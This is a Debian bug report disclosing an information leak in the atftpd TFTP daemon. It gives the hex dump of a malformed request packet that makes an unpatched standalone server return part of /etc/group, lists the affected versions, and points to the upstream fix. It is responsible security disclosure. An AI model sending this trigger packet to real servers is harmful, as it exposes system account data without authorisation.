Package: atftpd
Version: 0.7.git20120829-3.3+deb11u1
Severity: grave
Tags: security
Justification: user security hole
X-Debbugs-Cc: debian_f7b...@jkrupp.de, Debian Security Team
<t...@security.debian.org>
Dear Maintainer,
* What led up to the situation?
During a research project we have found a potential information leak in the
atftpd daemon from package atftpd, where malformed requests can lead to a
(partial) leak of the contents of /etc/group.
* What exactly did you do (or not do) that was effective (or
ineffective)?
Sent the following (malformed) packet:
```
00000000: 0001 006e 6574 6173 6369 6900 7473 697a ...netascii.tsiz
00000010: 6500 78 e.x
```
* What was the outcome of this action?
A freshly started atfptd server replies with a packet containing contents of
/etc/group
```
00000000: 0006 7473 697a 6500 7831 3a0a 6269 6e3a ..tsize.x1:.bin:
00000010: 783a 323a 0a73 7973 3a78 3a33 3a0a 6164 x:2:.sys:x:3:.ad
00000020: 6d3a 783a 343a 0a74 7479 3a78 3a35 3a0a m:x:4:.tty:x:5:.
00000030: 6469 736b 3a78 3a36 3a0a 6c70 3a78 3a37 disk:x:6:.lp:x:7
00000040: 3a0a 6d61 696c 3a78 3a38 3a0a 6e65 7773 :.mail:x:8:.news
00000050: 3a78 3a39 3a0a 7575 6370 3a78 3a31 303a :x:9:.uucp:x:10:
00000060: 0a6d 616e 3a78 3a31 323a 0a70 726f 7879 .man:x:12:.proxy
00000070: 3a78 3a31 333a 0a6b 6d65 6d3a 783a 3135 :x:13:.kmem:x:15
00000080: 3a0a 6469 616c 6f75 743a 783a 3230 3a0a :.dialout:x:20:.
00000090: 6661 783a 783a 3231 3a0a 766f 6963 653a fax:x:21:.voice:
000000a0: 783a 3232 3a0a 6364 726f 6d3a 783a 3234 x:22:.cdrom:x:24
000000b0: 3a0a 666c 6f70 7079 3a78 3a32 353a 0a74 :.floppy:x:25:.t
000000c0: 6170 653a 783a 3236 3a0a 7375 646f 3a78 ape:x:26:.sudo:x
000000d0: 3a32 373a 0a61 7564 696f 3a78 3a32 393a :27:.audio:x:29:
000000e0: 0a64 6970 3a78 3a33 303a 0a77 7777 2d64 .dip:x:30:.www-d
000000f0: 6174 613a 783a 3333 3a0a 6261 636b 7570 ata:x:33:.backup
00000100: 3a78 3a33 343a 0a00 :x:34:..
```
* What outcome did you expect instead?
No response or an error message from the server.
It appears that this bug has been fixed upstream (commit
9cf799c40738722001552618518279e9f0ef62e5), and the fix is already
included in atftpd version 0.7.git20210915-3 in debian testing).
Yet we were able to reproduce this behavior on debian stable/bullseye
(atftpd version 0.7.git20120829-3.3+deb11u1) and debian oldstable/buster
(atftpd version 0.7.git20120829-3.2~deb10u2).
Further, the issue appears to only occur when running atftpd in
standalone mode (--daemon, not via inetd), and only on the very first
request, as the buffer containing /etc/group data is overwritten by the
new request.
-- System Information:
Debian Release: 11.2
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 5.10.0-9-amd64 (SMP w/1 CPU thread)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
Versions of packages atftpd depends on:
ii debconf [debconf-2.0] 1.5.77
ii libc6 2.31-13+deb11u2
ii libpcre3 2:8.39-13
ii libwrap0 7.6.q-31
ii lsb-base 11.1.0
ii tcpd 7.6.q-31
ii update-inetd 4.51
Versions of packages atftpd recommends:
ii rlinetd [inet-superserver] 0.9.3-1
Versions of packages atftpd suggests:
ii logrotate 3.18.0-2
-- debconf information:
atftpd/mcast_addr: 239.239.239.0-255
atftpd/multicast: true
atftpd/logfile: /var/log/atftpd.log
atftpd/maxthread: 100
atftpd/tftpd-timeout: 300
atftpd/logtofile: false
atftpd/tsize: true
atftpd/ttl: 1
atftpd/basedir: /srv/tftp
atftpd/blksize: true
atftpd/verbosity: 5 (LOG_NOTICE)
atftpd/port: 69
atftpd/mcast_port: 1758
atftpd/use_inetd: true
atftpd/retry-timeout: 5
atftpd/timeout: true
